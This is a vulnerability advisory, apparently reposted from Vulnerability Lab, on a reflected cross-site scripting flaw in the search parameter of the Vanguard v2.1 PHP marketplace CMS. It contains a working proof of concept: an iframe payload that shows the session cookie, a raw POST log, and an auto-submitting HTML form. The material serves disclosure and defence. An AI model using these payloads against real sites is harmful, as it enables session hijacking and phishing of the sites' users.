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## https://sploitus.com/exploit?id=PACKETSTORM:164661
Document Title:  
===============  
Vanguard v2.1 - (Search) POST Inject Web Vulnerability  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2283  
  
  
Release Date:  
=============  
2021-10-26  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2283  
  
  
Common Vulnerability Scoring System:  
====================================  
4  
  
  
Vulnerability Class:  
====================  
Cross Site Scripting - Non Persistent  
  
  
Current Estimated Price:  
========================  
500€ - 1.000€  
  
  
Product & Service Introduction:  
===============================  
https://codecanyon.net/item/vanguard-marketplace-digital-products-php/20287975  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered a post inject web vulnerability in the Vanguard v2.1 cms web-application.  
  
  
Affected Product(s):  
====================  
VanguardInfini  
Product: Vanguard v2.1 - CMS (PHP) (Web-Application)  
  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2021-10-26: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Authentication Type:  
====================  
Pre Auth (No Privileges or Session)  
  
  
User Interaction:  
=================  
Low User Interaction  
  
  
Disclosure Type:  
================  
Responsible Disclosure  
  
  
Technical Details & Description:  
================================  
A non-persistent post inject web vulnerability has been discovered in the official Vanguard v2.1 cms web-application.  
The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user  
session data or to manipulate application contents for clients.  
  
The vulnerability is located in the phps_query parameter of the search module. The vulnerability is a classic post  
injection web vulnerability with non-persistent attack vector.  
  
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent  
external redirects to malicious source and non-persistent manipulation of affected application modules.  
  
Request method(s):  
[+] POST  
  
Vulnerable Input(s):  
[+] Search  
  
Vulnerable Parameter(s):  
[+] phps_query  
  
  
Proof of Concept (PoC):  
=======================  
The client-side post inject web vulnerability can be exploited by remote attackers without account and with low or medium user interaction.  
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.  
  
  
Vulnerable Source: search  
<div class="ui yellow basic segment"></div>  
<div class="ui container" style="margin-top: -0.7em;">  
<form method="POST" action="https://vanguard.squamifer.ovh/search">  
<div class="ui action input fluid">  
<input name="phps_query" type="text" value=""><iframe src=a onload=alert(document.cookie)>" placeholder="Search for a product...">  
<button class="ui button" type="submit" name="phps_search"><i class="search icon"></i>Search</button></div></form>  
<div class="ui divider"></div>  
<div class="ui cards aligned centered">  
<div class="alert color blue-color"><div class="ui hidden divider"></div>  
<div class="ui icon info message"><i class="help circle icon"></i><div class="content">  
<div class="header">No results found for <strong><iframe src=evil.source onload=alert(document.cookie)></strong>.</div></div></div></div>  
</div></div></div>  
  
  
--- PoC Session Logs [POST] ---  
https://vanguard.localhost:8080/search  
Host: vanguard.localhost:8080  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 86  
Origin: https://vanguard.localhost:8080  
Connection: keep-alive  
Referer: https://vanguard.localhost:8080/  
Cookie: PHPSESSID=57d86e593a55e069d1e6c728ce20b3b8  
phps_query=">%20<iframe src=evil.source onload=alert(document.cookie)>&phps_search=;)  
-  
POST: HTTP/2.0 200 OK  
content-type: text/html; charset=UTF-8  
pragma: no-cache  
cache-control: private  
vary: Accept-Encoding  
  
  
Exploitation: PoC  
<html>  
<head>  
<title>PoC</title>  
<style type="text/css">  
#nodisplay {  
display:none;  
}  
</style>  
</head>  
<body>  
<div id="nodsiplay">  
<form action="https://vanguard.localhost:8080/search" method="post">  
<input type="text" name="phps_query" value=">%20<iframe src=evil.source onload=alert(document.cookie)>"/>  
</form>  
</div>  
<script>  
function submitForm() {  
document.forms[0].submit();  
}  
submitForm();  
</script>  
</body>  
</html>  
  
  
Security Risk:  
==============  
The security risk of the validation web vulnerability in the web-application is estimated as medium.  
  
  
Credits & Authors:  
==================  
Vulnerability-Lab [Research Team] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab  
  
  
Disclaimer & Information:  
=========================  
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We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.  
  
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